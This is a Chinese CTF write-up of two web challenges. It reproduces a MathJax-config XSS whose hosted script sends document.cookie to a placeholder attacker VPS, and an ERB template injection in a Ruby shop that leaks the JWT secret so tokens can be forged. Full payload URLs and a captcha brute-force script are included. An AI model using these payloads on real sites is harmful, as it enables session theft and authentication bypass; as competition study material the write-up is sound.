趁着writeup出了,环境还没关,熬夜复现下比赛的2道web题
Math-is-fun
一开始以为是jsonp,但是ctf比赛我就没成功打到过xss.....
界面是这样的,一边可以编辑,一遍会以MacDonald的格式输出
源码中可控字段在<script>
标签中,于是可以试着闭合一下
http://47.110.128.101/challenge?name=1;%20alert(1);</script><script>
但是没法弹窗
因为是MacDonald的编辑器,这段代码把,name=xxx中的 xxx给复制到显示界面中了
注意如下代码,这段代码来自对数学公式处理的js文件https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-MML-AM_CHTML">
那么会把window中的MathJax
存到AuthorConfig
中
之后继续查看AuthorConfig
发现存入了root
中
这样可以让目标访问我们自己服务器上的js脚本,且不受CSP限制
但是受MathJax
组件限制,所以要在自己服务器上路径配置如下
www/math/config/TeX-MML-AM_CHTML.js
//TeX-MML-AM_CHTML.js
window['location']="http://vpsip:81/?cookie="+escape((function(){try{return document.cookie}catch(e){return''}})());
最终的payload
name=1%3b%0aMathJax%3d{"root"%3a"http%3a%2f%2fvpsip%2fmath"}
这里的爆破验证码脚本
# coding:utf-8
import hashlib
list='0123456789'
for a in list:
for b in list:
for c in list:
for d in list:
for e in list: #5位数
for f in list: # 6位数
for g in list: # 7位数
str4=(a+b+c+d+e+f+g)
value = hashlib.md5(str4)
value1 = value.hexdigest()
print ("[*]" + value1)
s4 = value1[0:5]
print ("[*]" + s4)
if s4 == '61aa5':
print ('[+]'+ str4)
exit()
打到flag
flag shop
这道题是ruby写的,先看了看功能,是要打工买flag,但是flag太贵了,打工是不可能买到的,而且不能用脚本,因为每次请求的JWT
不同
扫描目录有个robots.txt
,获取源码路径
#/filebak
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
大致浏览下,要获得EVN["SECRET"]
的值才能伪造我们的JWT
,但是最前面有个注释表面了EVN["SECRT"]
是靠
SecureRandom.hex(xx)
生成的,而且参数xx
未知,所以暴力是不可能的
继续浏览
这个params[:name][0,7]
是可控的,因此我们payload
如下
http://47.110.15.101/work?name=<%25=1%25>&do=<%25=1%25>%20is%20working
这样结果显示的是
Ruby的全局变量 https://blog.csdn.net/zdq0394123/article/details/8443694
其中的$'
是显示最后一次匹配前的内容
因此利用方法是最先去带SECRET
参数去匹配,这时候ENV["SECRET"]
会匹配,结果是不正确的,但是ENV["SECRET"]
的值会被记录在$'
中,因此第二次不用触发匹配,直接输出$'
即可
http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=d
http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=
获得了秘钥后就能伪造JWT
了
把这个JWT
丢到一个工具网站去,修改下jkl和填下秘钥
将生产的JWT
带成cookie
去买flag
显示成功,看代码的逻辑,flag被存到了JWT
中,因此再次解密下JWT
即可获得flag